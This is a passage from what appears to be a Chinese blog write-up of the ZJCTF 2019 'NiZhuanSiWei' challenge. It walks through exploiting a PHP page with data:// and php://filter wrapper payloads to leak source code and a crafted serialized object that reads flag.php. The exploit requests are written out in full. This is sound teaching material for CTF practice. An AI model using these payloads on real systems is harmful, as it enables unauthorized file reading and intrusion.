zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    打开之后是一段源代码

    <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    

      首先我们需要传进三个参数,text,file,password

    想要进入第一个if条件,我们需要传入text,同时读取text文件使其内容为

    welcome to the zjctf
    我们可以使用php伪协议中的data绕过
    data://text/plain;base64,base编码字符串
    
    很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入
    

      于是我们构造

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    

      绕过第一步之后页面显示为:

     接着,我们可以传入file变量读取文件,除了包含flag的文件之外的都可以读取

    刚好源代码里面还有useless.php,同时后面还有反序列化的操作,所以我们需要知道序列化的类的代码

    使用php伪协议里面的filter来读取源代码

    php://filter
    
    经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.
    
    php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。
    php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx

    filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。

    php://filter/convert.base64-[encode/decode]/resource=xxx

    这是使用的过滤器是convert.base64-encode.它的作用就是读取upload.php的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据

      php://filter在CTF里面经常会遇到,这里我们构造

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php
    

      将读取到的源代码解码为:

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    

      可以看到有读取文件的操作,对于Flag里面的file变量,在线输出一下序列化的结果

    <?php  
    
    class Flag{  //flag.php  
        public $file="flag.php";  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }
    $test=new Flag();
    echo serialize($test);
    
    ?>  
    

      进一步构造读取flag.php

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

      

     查看源代码就可以得到flag

    
    
  • 相关阅读:
    C#音频截取与原文匹配2:使用ffmpeg处理音频文件
    C#音频截取与原文匹配
    Redis报错: StackExchange.Redis.RedisServerException: Endpoint 39.105.22.111:7200 serving hashslot 12448 is not reachable at this point of time.
    kafka单机安装部署
    zookeeper部署
    mysql-5.7.15编译安装
    centos7安装sqlserver
    redisearch模块安装
    yum安装软件后保留rpm包
    shell读取配置文件
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12215582.html
Copyright © 2011-2022 走看看